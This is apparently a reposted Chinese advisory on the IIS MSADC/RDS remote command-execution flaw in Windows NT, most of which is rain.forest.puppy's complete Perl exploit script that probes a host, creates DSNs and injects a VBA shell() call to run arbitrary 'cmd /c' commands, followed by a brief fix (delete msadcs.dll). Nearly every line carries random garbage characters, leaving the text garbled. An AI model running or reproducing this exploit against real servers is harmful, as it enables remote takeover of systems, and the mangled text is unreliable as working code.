IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
aP'"G^F )54%HM_$k 涉及程序：
qV5DW0. Microsoft NT server
G=;k=oX( `eu9dLz H 描述：
.NtbL./=| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.0R v(Y s2j[ 'g5 详细：
{3N'D2N 如果你没有时间读详细内容的话，就删除:
L4uFNM] c:\Program Files\Common Files\System\Msadc\msadcs.dll
eZ"1gYqy 有关的安全问题就没有了。
Bgmn2- iC
iZJ" 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
5[j`6l $gBd <N9|c 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
cb5, P~/q 关于利用ODBC远程漏洞的描述，请参看:
42>Ge>#F Qt]Q: 9I[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm e #/E~r& .9O$G2'oh 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
1-.~ 7yC http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9&RFO$WH 5NJ4 这里不再论述。
hzk6rYg1 n Q|r"|g 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
r\ nx= ie-vqLc /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
lO2[JP 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
E^U0f/5
m sB69R:U; y4+ ;z2' > #将下面这段保存为txt文件，然后: "perl -x 文件名"
RpLE
02U |yo\R{&6 #!perl
V. wqZ {G #
64: fs?H # MSADC/RDS 'usage' (aka exploit) script
$%VuSrZ& #
p }[ zt#v # by rain.forest.puppy
=_Y G#yS #
0ZQ' _g|% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ccd8O{G.M # beta test and find errors!
1:Si,d,wh _G1gtu] use Socket; use Getopt::Std;
4 Jx"A\5*G getopts("e:vd:h:XR", \%args);
PqM1a oyX )}9rwZ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
xC
C:BO`pw t43)F9! if (!defined $args{h} && !defined $args{R}) {
<3,<\ub print qq~
b,8{ X< Usage: msadc.pl -h <host> { -d <delay> -X -v }
q&:=<+2" -h <host> = host you want to scan (ip or domain)
.xB u-?6s6 -d <seconds> = delay between calls, default 1 second
" vtCTl~t -X = dump Index Server path table, if available
NH_<q"gT -v = verbose
!nAX$i~ -e = external dictionary file for step 5
? `J[[", OzC\9YeA Or a -R will resume a command session
\=>H6x]q ^k<o T'89 ~; exit;}
%/updw#{B OT&k.!= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
O9:U8$* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Ali 9pvE if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
y!]CJigpZ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ExRe:^yU\ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
?k(\ApVHj if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ws^4?O sUE ?v9 if (!defined $args{R}){ $ret = &has_msadc;
@?"h
!fyu die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
KN-avu_Ix mS0udHod print "Please type the NT commandline you want to run (cmd /c assumed):\n"
}`+B =h-dW . "cmd /c ";
``E/m<r:$ $in=<STDIN>; chomp $in;
}<'5 z
qS $command="cmd /c " . $in ;
F5o+kz$; .KdyJ6o if (defined $args{R}) {&load; exit;}
} (!EuLL }%D^8>S print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
LY+|[qka &try_btcustmr;
|*`Z*6n 0?>dCu\ print "\nStep 2: Trying to make our own DSN...";
0@AAulRl &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`=7j$#6U ;j2vHU#q- print "\nStep 3: Trying known DSNs...";
NzNA>[$[ &known_dsn;
a N(|'uO@ U T="2*3gz print "\nStep 4: Trying known .mdbs...";
eilYA_FL. &known_mdb;
n[ (Qr9 $v Z$'( if (defined $args{e}){
m>SEr xU(z print "\nStep 5: Trying dictionary of DSN names...";
IIyI=Wl pG &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
&?h,7
D;A b:w?PC~O print "Sorry Charley...maybe next time?\n";
Ag@; exit;
;`6^6p\p |2KAo! PI ##############################################################################
2YDM9`5xs\ ]KJj6xn sub sendraw { # ripped and modded from whisker
R i^[i}
sleep($delay); # it's a DoS on the server! At least on mine...
`Qqk<o my ($pstr)=@_;
W2.qhY 5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f ^VP/rdg die("Socket problems\n");
c*@G_rb if(connect(S,pack "SnA4x8",2,80,$target)){
MQ"xOcD*F select(S); $|=1;
uIZWO.OdU print $pstr; my @in=<S>;
<ZB1Vi9}8 select(STDOUT); close(S);
-I = l8m6L return @in;
!>1@HH?I\/ } else { die("Can't connect...\n"); }}
E4hLtc^
+ y{N-+10z ##############################################################################
q &d~
\{J 6&/T@LQYrh sub make_header { # make the HTTP request
RZ+`T+zL my $msadc=<<EOT
p QizJ6 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
o *J3C> User-Agent: ACTIVEDATA
)wNP(
@$L Host: $ip
H<3I 5Kgt Content-Length: $clen
9V5-%Iv Connection: Keep-Alive
ooQQ-?" m ttu&@
= ADCClientVersion:01.06
0'IB N} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
73){K?R x7$}8LZ"B --!ADM!ROX!YOUR!WORLD!
@9"J|} Content-Type: application/x-varg
y:6; LZ9[ Content-Length: $reqlen
_8E/) M &% -73nYw EOT
^#sU*trr ; $msadc=~s/\n/\r\n/g;
Dtj&W<NXo return $msadc;}
G.UI|r /Kz gg8Uo G ##############################################################################
ghRVso( Y0X-Zqk' sub make_req { # make the RDS request
z[;z>8|c my ($switch, $p1, $p2)=@_;
k5T,990 my $req=""; my $t1, $t2, $query, $dsn;
/3{b%0Aa Bi{$@n&?f if ($switch==1){ # this is the btcustmr.mdb query
(P$H <FtH $query="Select * from Customers where City=" . make_shell();
hodgDrmO/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
|vw"[7_aS $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/gG"v5] K1T4cUo elsif ($switch==2){ # this is general make table query
O<V4HUW $query="create table AZZ (B int, C varchar(10))";
^ (F dXGs[ $dsn="$p1";}
v;ZA 4c wH@N s~[MA elsif ($switch==3){ # this is general exploit table query
:eCU/BC4 $query="select * from AZZ where C=" . make_shell();
y~\oTJb $dsn="$p1";}
)>Yu !8i xKho1Z elsif ($switch==4){ # attempt to hork file info from index server
9B9(8PVG $query="select path from scope()";
5^x1cUB] $dsn="Provider=MSIDXS;";}
Z+=@<i'' 5@BBo eG elsif ($switch==5){ # bad query
{lc\,F* $ $query="select";
hzvd t $dsn="$p1";}
q*>&^V $M RVQh2'w $t1= make_unicode($query);
&e!7Z40w@& $t2= make_unicode($dsn);
SBS3?hw
$req = "\x02\x00\x03\x00";
bR)(H%I $req.= "\x08\x00" . pack ("S1", length($t1));
{Ja!~N;3 $req.= "\x00\x00" . $t1 ;
1 |jt"Hz $req.= "\x08\x00" . pack ("S1", length($t2));
?pd8w#O $req.= "\x00\x00" . $t2 ;
:\o {_ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
VF y s.= return $req;}
c-0#w= >o=-$g z` ##############################################################################
# }y2)g BG X.U\uc sub make_shell { # this makes the shell() statement
sdo [D return "'|shell(\"$command\")|'";}
k1D@fiz v
p/yG ##############################################################################
(:> ,u*x% 9'X7w G sub make_unicode { # quick little function to convert to unicode
7 36Jq^T my ($in)=@_; my $out;
\r+8qC[, for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
e0,|Wm return $out;}
Xx>X5Fy TJR:vr ##############################################################################
L bmawi^ ]Yn_}Bq sub rdo_success { # checks for RDO return success (this is kludge)
SR |`! my (@in) = @_; my $base=content_start(@in);
@/o hg0 if($in[$base]=~/multipart\/mixed/){
XLrwxj0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}*S `qW;B return 0;}
yvO{:B8% |M, iM] ##############################################################################
2$ze=
/ l 9~/J35 sub make_dsn { # this makes a DSN for us
<"my^ my @drives=("c","d","e","f");
R[hzMU}KB
print "\nMaking DSN: ";
{C N~S*m foreach $drive (@drives) {
4?q <e*W print "$drive: ";
I!Z_ [M my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
lrIjJ
V "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
U ^5Kz-5. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
_ =VqrK7T $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
vkEiOFU!u return 0 if $2 eq "404"; # not found/doesn't exist
Lo N< oj5 if($2 eq "200") {
T~##,qQ foreach $line (@results) {
D rY:9[LP return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]Hefm?9*^ } return 0;}
:7]Sa` ? WqT[MnK ##############################################################################
Ay0U=#XP 2$g6}A`r sub verify_exists {
j YmR my ($page)=@_;
n|R J;d30Q my @results=sendraw("GET $page HTTP/1.0\n\n");
sl`s_$J return $results[0];}
~ls[Sl@ os:A] ##############################################################################
S p;G'*g S ]Mw #O| sub try_btcustmr {
sg3OL/" my @drives=("c","d","e","f");
T^k7o^N> my @dirs=("winnt","winnt35","winnt351","win","windows");
9Hb6nm 'O_3)x5 foreach $dir (@dirs) {
gf
&Pn print "$dir -> "; # fun status so you can see progress
B][U4WJ) foreach $drive (@drives) {
#(N+((): print "$drive: "; # ditto
O
@j} K4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
':3 pq2{ $reqlenlen=length( "$reqlen" );
R5 - @ $clen= 206 + $reqlenlen + $reqlen;
P"IPcT%Ob% iW%I|& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
H2jgO?l;! if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
AicBSqUke else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
3yU.& k bU2Z[sn. ##############################################################################
] [+#;avU IID-k sub odbc_error {
v,-HU&/*B my (@in)=@_; my $base;
CR"|^{G my $base = content_start(@in);
d\|?-hY`[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$!-c-0ub $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R6kD=JY/! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4gz
H8sF $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K<SyC54 return $in[$base+4].$in[$base+5].$in[$base+6];}
<6 6X Xh . print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
7e|s
wJ>4 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Mb|a+,:>3 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
-$cmG4 .ps-4eXF ##############################################################################
-w}]fb2Q> C'.L20qW sub verbose {
Bn#?zI my ($in)=@_;
j7$e28|_n return if !$verbose;
!sQY&* print STDOUT "\n$in\n";}
{ GK;63`1 j<V Fn~*_ ##############################################################################
v1+3}5b'uF wsZF;8u t sub save {
\IV1j)I"u my ($p1, $p2, $p3, $p4)=@_;
H8Bs<2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
`>f6) C- print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
DEG[Z7Ju close OUT;}
F4}]b(L ~J wb`g. ##############################################################################
4:$4u@ QwJV S(Gs4 sub load {
N kb|Fd/s my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Lsq A**= open(IN,"<rds.save") || die("Couldn't open rds.save\n");
iNtaDX| %/ @p=<IN>; close(IN);
B%)% $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
;c-(ObSm $target= inet_aton($ip) || die("inet_aton problems");
K6v6ynp/ print "Resuming to $ip ...";
Wu c S:8#| $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ZM !CaR if($p[1]==1) {
_~IR6dKE $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
X0bN3N $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
R _W+Ylob my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n'wU;!W9 if (rdo_success(@results)){print "Success!\n";}
0QXVW}`hz else { print "failed\n"; verbose(odbc_error(@results));}}
V:In>u$QJ! elsif ($p[1]==3){
qT{U( if(run_query("$p[3]")){
W= ^#v print "Success!\n";} else { print "failed\n"; }}
0%&1\rm+j elsif ($p[1]==4){
@5=oeOg36 if(run_query($drvst . "$p[3]")){
vM*-D{ print "Success!\n"; } else { print "failed\n"; }}
y~ AVei& exit;}
DBW[{D E m4hX ' F ##############################################################################
\HxT@UQ)~ 2,$ 8icM sub create_table {
R&8Iz
yM my ($in)=@_;
R}
eN@#"D $reqlen=length( make_req(2,$in,"") ) - 28;
7 E r23Q
$reqlenlen=length( "$reqlen" );
V+*
P2| $clen= 206 + $reqlenlen + $reqlen;
q8X f eoUV my @results=sendraw(make_header() . make_req(2,$in,""));
]fx"4qKM return 1 if rdo_success(@results);
rq8K_zp my $temp= odbc_error(@results); verbose($temp);
\\P jKAsh return 1 if $temp=~/Table 'AZZ' already exists/;
Q i,j+xBp return 0;}
[w>$QR iV5 yJF{ZH ##############################################################################
s:>Va GC B6u/mo< sub known_dsn {
\rx3aJl # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*xx'@e|<; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
jqWu "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\f]k CB "banner", "banners", "ads", "ADCDemo", "ADCTest");
Fsmycr!R E
]A#Uy foreach $dSn (@dsns) {
> BR(W d. print ".";
/f:dv?!km next if (!is_access("DSN=$dSn"));
=)M/@T if(create_table("DSN=$dSn")){
A>vBQN print "$dSn successful\n";
UldXYtGe if(run_query("DSN=$dSn")){
2 Wt> Mi print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~ Sg5:T3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
b*;Si7- 7,U=Qe; ##############################################################################
prC;L*~8 0[R L>;D: sub is_access {
V/%>4GYnC my ($in)=@_;
_( _a*ml $reqlen=length( make_req(5,$in,"") ) - 28;
j@W. &- _ $reqlenlen=length( "$reqlen" );
'-r).X k $clen= 206 + $reqlenlen + $reqlen;
(yu/l 6[ my @results=sendraw(make_header() . make_req(5,$in,""));
' KWyx my $temp= odbc_error(@results);
d? s<2RkPT verbose($temp); return 1 if ($temp=~/Microsoft Access/);
~ZmN44?R return 0;}
oz,np@f)J EY^1Y3D w0 ##############################################################################
opY@ RJ] F |d\k Q sub run_query {
+DW~BS3 my ($in)=@_;
3B1X Zm $reqlen=length( make_req(3,$in,"") ) - 28;
#ZJ _T`l $reqlenlen=length( "$reqlen" );
= }lh_ $clen= 206 + $reqlenlen + $reqlen;
3AHlSX my @results=sendraw(make_header() . make_req(3,$in,""));
G! ]k#.^A, return 1 if rdo_success(@results);
WQ~;;. v# my $temp= odbc_error(@results); verbose($temp);
<Y*+|T+&d return 0;}
:=}US}H $ k52/w)Ro,$ ##############################################################################
Qi ua J ][T"K sub known_mdb {
q - my @drives=("c","d","e","f","g");
HK U~UTRnZ my @dirs=("winnt","winnt35","winnt351","win","windows");
nim*/LC[: my $dir, $drive, $mdb;
3p3 9`"~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@KWb+?_H{< q4R5<LW" # this is sparse, because I don't know of many
VvvRRP^q my @sysmdbs=( "\\catroot\\icatalog.mdb",
4H,`]B8(D "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
n(b(yXYm] "\\system32\\certmdb.mdb",
4~k\ j "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6DM$g=/ ' 931bA&SL=/ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
aH 4c02s$ "\\cfusion\\cfapps\\forums\\forums_.mdb",
E[2m&3& "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
33o9Yg|J~ "\\cfusion\\cfapps\\security\\realm_.mdb",
V^7V[(~` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
bt"W(m&f "\\cfusion\\database\\cfexamples.mdb",
`e(c^ z# "\\cfusion\\database\\cfsnippets.mdb",
P?8GV%0$ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
H;?{B V "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
1 9&<|qTz "\\cfusion\\brighttiger\\database\\cleam.mdb",
j.C`U(n}` "\\cfusion\\database\\smpolicy.mdb",
:9O#ObFR "\\cfusion\\database\cypress.mdb",
Uo -)pFN^ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7R`M,u~f2^ "\\website\\cgi-win\\dbsample.mdb",
ql<i] Y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_4rFEYz$d "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
'[U8}z3 ); #these are just
{\S+#W\ foreach $drive (@drives) {
>/:" D$
foreach $dir (@dirs){
JI? rL foreach $mdb (@sysmdbs) {
I, -hf=- print ".";
]Uw<$!$-]s if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
V `b2TS print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
M3 J#'%$ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
?HTj mIb print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
E%+Dl= } else { print "Something's borked. Use verbose next time\n"; }}}}}
:H7D~ n "JVkVp[5D+ foreach $drive (@drives) {
]=.\-K foreach $mdb (@mdbs) {
?i)f^O print ".";
l,R/Gl if(create_table($drv . $drive . $dir . $mdb)){
XxT#X3D/," print "\n" . $drive . $dir . $mdb . " successful\n";
qd9c I& if(run_query($drv . $drive . $dir . $mdb)){
$$D}I*^Dt print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+awW3^1Ed } else { print "Something's borked. Use verbose next time\n"; }}}}
Da&vb
D-Bg }
R ? ,an2 n1qQ+(xC ##############################################################################
1q~+E\x 0]>u )% sub hork_idx {
+!k&Yje print "\nAttempting to dump Index Server tables...\n";
H9KKed47d/ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
kd=GC O $reqlen=length( make_req(4,"","") ) - 28;
q`|LRz&al $reqlenlen=length( "$reqlen" );
@|Fg,N<Y ] $clen= 206 + $reqlenlen + $reqlen;
f_wvZ& my @results=sendraw2(make_header() . make_req(4,"",""));
Mx6 @$tQ% if (rdo_success(@results)){
/d0K7 F my $max=@results; my $c; my %d;
il}%7b- for($c=19; $c<$max; $c++){
~u)}ScTp $results[$c]=~s/\x00//g;
n?A6u\sQ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
` BDLW%aL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
p%iGc<vHX $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
R#xCkl - $d{"$1$2"}="";}
1)9sf0LyU foreach $c (keys %d){ print "$c\n"; }
F
;{n"3< } else {print "Index server doesn't seem to be installed.\n"; }}
$9 ]m=S rE i Ki ##############################################################################
|s)Rxq){"V bIGHGd sub dsn_dict {
qgE 73.!`6 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^w(p8G_-w while(<IN>){
7bqBk,`9 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
4 d;|sI@ next if (!is_access("DSN=$dSn"));
pR
`>b 3 if(create_table("DSN=$dSn")){
q:l>O5 print "$dSn successful\n";
)_1zRT| 9 if(run_query("DSN=$dSn")){
=6woWlf b print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
: Mb%A print "Something's borked. Use verbose next time\n";}}}
#@^t;)| print "\n"; close(IN);}
4/mig0 "N. cS>e? ##############################################################################
OH;b"] Nqw&< x+ sub sendraw2 { # ripped and modded from whisker
9!T[Z/}T sleep($delay); # it's a DoS on the server! At least on mine...
NXwz$}}Pp my ($pstr)=@_;
%R@X>2l/_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e&7JpT die("Socket problems\n");
NZ ;{t\ if(connect(S,pack "SnA4x8",2,80,$target)){
="x\`+U print "Connected. Getting data";
5:O-tgig. open(OUT,">raw.out"); my @in;
b}0,\B% select(S); $|=1; print $pstr;
}MRd@ 0-?! while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
1v,Us5s<"6 close(OUT); select(STDOUT); close(S); return @in;
cj+ FRG~u } else { die("Can't connect...\n"); }}
yMyE s 8 } -ftyl7 ##############################################################################
HOw -]JSP2 XID<(HBA"! sub content_start { # this will take in the server headers
j*F` "df my (@in)=@_; my $c;
cU ? 0(z7 for ($c=1;$c<500;$c++) {
f>aEkh6u9 if($in[$c] =~/^\x0d\x0a/){
x 8Retuv if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
R16 '?, else { return $c+1; }}}
vN| l\!~ return -1;} # it should never get here actually
(:._"jp] 7nHF@Y|*" ##############################################################################
Of{/t1o? ObLly%|i sub funky {
cs T2B[f9D my (@in)=@_; my $error=odbc_error(@in);
V2$h8\a if($error=~/ADO could not find the specified provider/){
GKvN*
SU= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
t=_J9| exit;}
H,+I2 tEs if($error=~/A Handler is required/){
\cC%!4 print "\nServer has custom handler filters (they most likely are patched)\n";
zXv3:uRp. exit;}
d*A*y ^OD if($error=~/specified Handler has denied Access/){
Vnx,5E& print "\nServer has custom handler filters (they most likely are patched)\n";
_D y m{! t exit;}}
V6t,BJjS u wa~-xX6 ##############################################################################
g0>,%b WA]c=4S sub has_msadc {
RE =` my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
5WC+guK7 my $base=content_start(@results);
t]$P 1*I return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
c7tfRq
n+ return 0;}
| ;.o8} I4i2+
*l} ########################
$-#Yl&?z9 .q[SI $qO/ "*LD 3 解决方案：
A,\6 nO67 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
9Xl`pEhC 2、移除web 目录: /msadc
